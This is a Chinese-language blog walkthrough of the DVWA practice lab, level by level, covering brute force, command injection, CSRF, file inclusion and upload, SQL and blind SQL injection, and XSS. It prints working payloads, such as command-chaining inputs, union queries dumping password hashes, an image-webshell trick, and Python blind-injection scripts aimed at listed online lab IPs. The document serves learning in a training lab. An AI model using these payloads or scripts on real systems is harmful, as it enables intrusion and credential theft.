DVWA靶场学习
暴力破解Brute Force
low
输入密码就正常抓包放字典破解得了


uploading-image-528180.png
medium
同样的操作发现响应速度变慢了,但是还是能暴力破解,不多说了。
uploading-image-408161.png
部分源码解读
$user = $_GET['username'];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = $_GET['password'];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR))? "" : ""));
$pass = md5($pass);
从get请求获取账号密码,mysqli_real_escape_string函数对用户名和密码进行转义,使用 md5 函数对密码进行哈希处理,这是一种老旧且不安全的存储密码的方式,因为 MD5 算法容易被破解,现在更推荐使用 password_hash 和 password_verify 函数。
// Login failed
sleep( 2 );
//查询失败暂停两秒
high
百度:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。
源码增加了 CSRF(跨站请求伪造)防护机制,generateSessionToken(); 生成token。通过 checkToken 函数检查 user_token 和 session_token。这是一个重要的安全改进,防止恶意用户通过 CSRF 攻击来执行未授权的操作,对比 user_token 和 session_token 的一致性,以确保请求来自于合法用户。输入的账号密码用stripslashes函数去除反斜杠。在登录失败时添加了一个随机的延迟时间(0 到 3 秒)攻击者无法确定登录失败时的延迟时间,增加了暴力破解的难度。
为了方便测试假设已经知道账号是admin,随便输入密码抓包发攻击模块,选择音叉模式,密码和token处添加payload(注意整个操作过程bp的拦截不要放行,就让它拦在那,否则不成功)

payload1设置弱密码列表

payload2类型选择递归提取

点击设置-->检索-提取-->获取响应
然后找到源码中token的值双击,bp自动分析提取的特征,注意这里先把响应中token的值复制一下后面有用,点击确定

回到payload2设置,把刚刚复制的token粘贴到“首次请求初始payload”

最后自己建一个1线程的资源池,使用
开始爆破,成功


如果是简单破解的话返回的全是302,刷新发现报错token不对

impossible
源码分析:
防止sql注入的就不说了,因为这里是爆破题目
// 这里是定义最大失败次数和锁号时间,已经账号是否要锁定
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
$data = $db->prepare('UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;');
$data->bindParam(':user', $user, PDO::PARAM_STR);
$data->execute();//每次登录失败时,会更新用户的 failed_login 记录加 1,这样可以统计用户的登录失败次数。
//当登录失败次数达到 $total_failed_login(这里设置为 3)时,会将用户账户标记为锁定状态。
if (($data->rowCount() == 1) && ($row['failed_login'] >= $total_failed_login))
$last_login = strtotime($row['last_login']);
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
if ($timenow < $timeout) {
$account_locked = true;
}
//当账户锁定后,会根据 last_login 时间和 lockout_time(这里是 15 分钟)计算出一个超时时间 timeout,如果当前时间 timenow 还在超时时间内,账户会保持锁定状态,防止用户在一定时间内继续尝试登录。
还有一些不懂的函数,查一下
$db->prepare 函数:
这是 PDO(PHP Data Objects)中的一个方法,用于准备一个 SQL 语句,将 SQL 语句发送到数据库服务器进行预处理。
'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' 是一个 SQL 更新语句。它的目的是更新 users 表中的 failed_login 字段,将其值加 1。
(:user) 是一个命名占位符,这是 PDO 预处理语句的一个特点,用于在 SQL 语句中表示一个占位,后续会通过 bindParam 方法将实际的值绑定到这个占位符上,这样可以避免 SQL 注入攻击。
$data->bindParam(':user', $user, PDO::PARAM_STR); 函数:
bindParam 是 PDOStatement 对象(这里是 $data)的一个方法,用于将一个 PHP 变量绑定到 SQL 语句中的占位符上。
':user' 是要绑定的占位符名称,它对应于 SQL 语句中的 (:user)。
$user 是要绑定的 PHP 变量,它包含了用户的用户名。
PDO::PARAM_STR 是一个 PDO 常量,表示要绑定的数据类型是字符串。这告诉 PDO 如何正确地处理 $user 变量的数据类型,确保在 SQL 语句中正确使用。
$data->execute(); 函数:
这是 PDOStatement 对象的一个方法,用于执行已经准备好的 SQL 语句。
当调用 execute() 方法时,PDO 会将绑定的参数值插入到 SQL 语句的占位符位置,并将 SQL 语句发送到数据库服务器执行。
Command Injection
low
if (stristr(php_uname('s'), 'Windows NT')) {
// Windows
$cmd = 'ping '. escapeshellarg($target);
} else {
// *nix
$cmd = 'ping -c 4 '. escapeshellarg($target);
}
和传入的值直接拼接基本无过滤随便写个127.0.0.1;ls或者127.0.0.1&&pwd什么的过了
medium
黑名单
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
传个无效ip再用||再接命令,||表示前一个命令不执行就执行后一个
127.2222.2.1||pwd
high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 首尾去除空格
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',//这里|后加了空格所以单单一个|还是可以绕
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
//黑名单中出现的字符替换为空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>

csrf
low
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change#改密码是通过get请求该改的,如果从外部网站点击自己构造的链接
http://36.138.228.8:8081/vulnerabilities/csrf/?password_new=xxxxx&password_conf=xxxxx&Change=Change#也可以改变目标网站的密码
medium
这个就是加了个请求来自哪里(Referer:)的判断,从外部网站访问构造的csrf链接,改Referer:的值为靶场的值就得了
high
加了个token,其实也就是抓包右键生产csrf poc然后放弃请求包,poc中修改想要的password,然后浏览器打开即可


impossible
在前面基础上加了个当前密码验证,就是说你要改密码首先得输入旧密码,token方面没啥变化,也是更改一次后就更新token。
如果你知道受害者旧密码的话,用high等级的方法也是可以csrf的
File Inclusion
low
没啥检测,可以包含远程木马文件

medium
过滤http(s)和../ ..,data伪协议直接过了。注意url编码再传

high
源码解读:
fnmatch 是一个文件匹配函数,它使用通配符模式匹配字符串。在这里,"file" 是一个模式,!fnmatch( "file", $file ) 表示 $file 的值不匹配以 file 开头的任何字符串。
&& $file!= "include.php":总之你要是用file协议读include.php就会进入if语句执行报错,所以不能读这个文件。
这关只能用file协议,尝试读取本机文件, 因为是在线靶场,所以本机指的是搭建靶场的服务器,随便读个/etc/passwd或者/etc/mysql/my.cnf得了,这个靶场也不会把数据库密码泄露在这些文件中。

impossible
这就只能包含这三个文件了,其他都无法包含
File Upload
low
这个直接传一句话就得了,不记录了
medium
Content-Type检查,抓包把它值改成image/png即可

high
copy mn3.jpg/b+1.php 66.jpg 第一个参数是正常图片第二个是🐎,第三个是保存为的图片名称
制作好图片🐎上传后用文件包含关卡的low级别包含图片🐎即可。


impossible
if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') && ($uploaded_size < 100000) && ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && getimagesize($uploaded_tmp)):这部分代码对文件进行了多重检查。
扩展名检查:将文件的扩展名转换为小写,检查是否为 jpg、jpeg 或 png。
大小检查:确保文件大小小于 100000 字节。
MIME 类型检查:检查文件的 MIME 类型是否为 image/jpeg 或 image/png。
getimagesize($uploaded_tmp):确保文件确实是一个图像文件,因为这个函数会尝试读取图像文件的尺寸信息,如果文件不是图像文件,这个函数会失败。
对于图像文件,会使用 imagecreatefromjpeg 或 imagecreatefrompng 读取文件并重新编码存储到临时文件中,以去除可能的元数据。这会使得图片中嵌入的木马被重新编码
Insecure CAPTCHA
这关在线靶场没找到配置好的,都报错reCAPTCHA API key missing from config file: /var/www/html/config/config.inc.php,先不打了。
SQL Injection
low
单引号闭合报错双引号不报错,接着
id=0' union select 1,2--+判断处是两列,三列报错
-
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
返回
First name: 1
Surname: guestbook,users -
0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()--+
返回
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login -
0' union select 1,group_concat(user,":",password) from users--+
返回
First name: 1
Surname: admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99
密码应该是md5过的
medium
判断字符型还是数字型,判断出是数字型

懒得在查表了,之前查过了,反正是靶场。直接爆账号密码

源码使用 mysqli_real_escape_string 函数对 $id 进行转义。首先检查 $GLOBALS["___mysqli_ston"] 是否存在且是一个对象,如果是,就使用 mysqli_real_escape_string 对 $id 进行转义,以防止 SQL 注入。但是查询的时候用了数字型,所以仍然可以利用。
high

点击链接才能查询
双引号闭合不报错,单引号闭合报错,所以是单引号闭合,但是报错后就回不到原来的界面了,只能换一个在线靶场。
1' order by 2 -- qqq判断是两列,注意不能写--+,必须-- 注释的形式比如(1' order by 2 -- qqq),不然报错后又回不了原来界面了。
观察回显位置:

0' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qqq查表

0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database() -- qqq查列

查数据

SQL Injection (Blind)
low
id存在

id不存在

有些靶场环境有问题,这里找了个比较好的http://89.169.157.206:8080
id=9是不存在的,但是id=9'||'1'='1是存在的,可以布尔盲注
库名应该不会太长。
1' and length(database())=x#判断出库名长度是4,
最后得到库叫dvwa
这里手工注入太麻烦,自己写脚本也没反应,sqlmap跑了一下发现检测不到注入,直接用其他人的payload了,反正是靶场。
通过盲注得到有两个表1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
好吧,后来研究了半天才把脚本搞出来(这里靶场环境一定要正常,不然不得):
import time
import requests
from urllib.parse import quote, quote_plus
headers = {"Cookie": "security=low; PHPSESSID=ssjqjht5b449b2dh4o33l33r72"}
dictionary = '-=+_,.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d = [i for i in range(65, 91)] + [i for i in range(97, 123)] + [i for i in range(48, 58)]
d.append(44)
# User ID
print(d)
result = ""
# 1' and ascii(substr(database(),1,1))=100 #"
# 遍历每个位置的字符
for i in range(1, 5):
time.sleep(1)
for j in d:
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' and ascii(substr(database(),{i},1))={j}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
result += chr(j)
print(result)
#爆表的数量
import requests
from urllib.parse import quote, quote_plus
headers = {"Cookie": "security=low; PHPSESSID=ssjqjht5b449b2dh4o33l33r72"}
dictionary = '-=+_,.1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
d = [i for i in range(65, 91)] + [i for i in range(97, 123)] + [i for i in range(48, 58)]
# User ID
print(d)
result = ""
# 1' and ascii(substr(database(),1,1))=100 #"
for i in range(1, 10):
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' and (select count(*) from information_schema.tables where table_schema=database())={i}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
#result += chr(j)
print(i)
#爆表名
for i in range(1, 30):
for j in d:
url = "http://210.6.26.42:8080/vulnerabilities/sqli_blind/?id="
payload = f"1' AND ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()),{i},1))={j}#"
url = url + quote_plus(payload) + "&Submit=Submit#"
response = requests.get(url, headers=headers)
response.encoding='utf-8'
if "User ID exists in the database." in response.text:
print("find!")
result += chr(j)
print(result)

后面爆数据的就改一下脚本得了,不写了。。。
medium
这个变成下拉框查询,抓包测试即可

high
和之前一样打,不过是另开一个窗口,抓包发现是cookie处注入

Reflected Cross Site Scripting (XSS)
low
<script>alert(222)</script>直接测试
medium
过滤了<script>
用<img onerror="alert(222)" src="">

high
用medium的方法也可以打
源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
我寻思这也没多高级啊,只对script做过滤其他标签是一个也不管是吧。
impossible
htmlspecialchars( $_GET[ 'name' ] );
直接转义了,所以无法注入html标签了
Stored Cross Site Scripting (XSS)
low
name处限制长度输入,前端改一下限制就可以了
comment处注入也可以


刷新再次进入页面也会出发xss
medium

name过滤了script,用img,然后comment处strip_tags()除去了一些html标签,htmlspecialchars()将特殊字符转换为 HTML 实体,所以只能在name处用其他标签注入
high
name处改长度限制
<img onerror="alert(222)" src="">
comment随便写
name处是只过滤script标签其他没动


DOM Based Cross Site Scripting (XSS)
low
dom型xss攻击不经过后端,检查前端代码
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
这段代码的主要目的是根据当前页面的 URL 中的 default= 参数,动态添加一个

medium
过滤了script标签,img、a标签试过了也不得。因为插入的值是从select标签里面提取的,可以尝试闭合select标签</select><img src=# onerror=alert(1) onmouseover=alert(2)>

high
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
看网上wp是使用锚部分弹窗,这个之前真没见过,学到了
French#<script>alert(1)</script>

问gpt解释如下:
在 URL 中,# 号后面的部分被称为片段标识符(Fragment Identifier),它通常用于指向文档内的特定部分(如页面中的锚点)。
PHP 的 \(_GET 超级全局变量在解析 URL 时,会忽略 # 号及其后面的部分。所以,当你访问 default=French#<script>alert(1)</script> 时,\)_GET['default'] 只会得到 French。
简单说就是http://210.6.26.42:8080/vulnerabilities/xss_d/?default=French#中#后面的内容php的$_GET不接受但是js代码却接收了default=后面所有内容,造成绕过。
锚点用法https://www.cainiaojc.com/html/html-anchor.html
这关还真是看前端基础。
这下算是打完这个靶场了,其实一直不太想打这个因为这个靶场已经很老了。但是感觉自己基础不够牢还是硬着头皮打练了一下
本文来自博客园,作者:积分别忘C,转载请注明原文链接:https://www.cnblogs.com/hackzz/p/18438363

浙公网安备 33010602011771号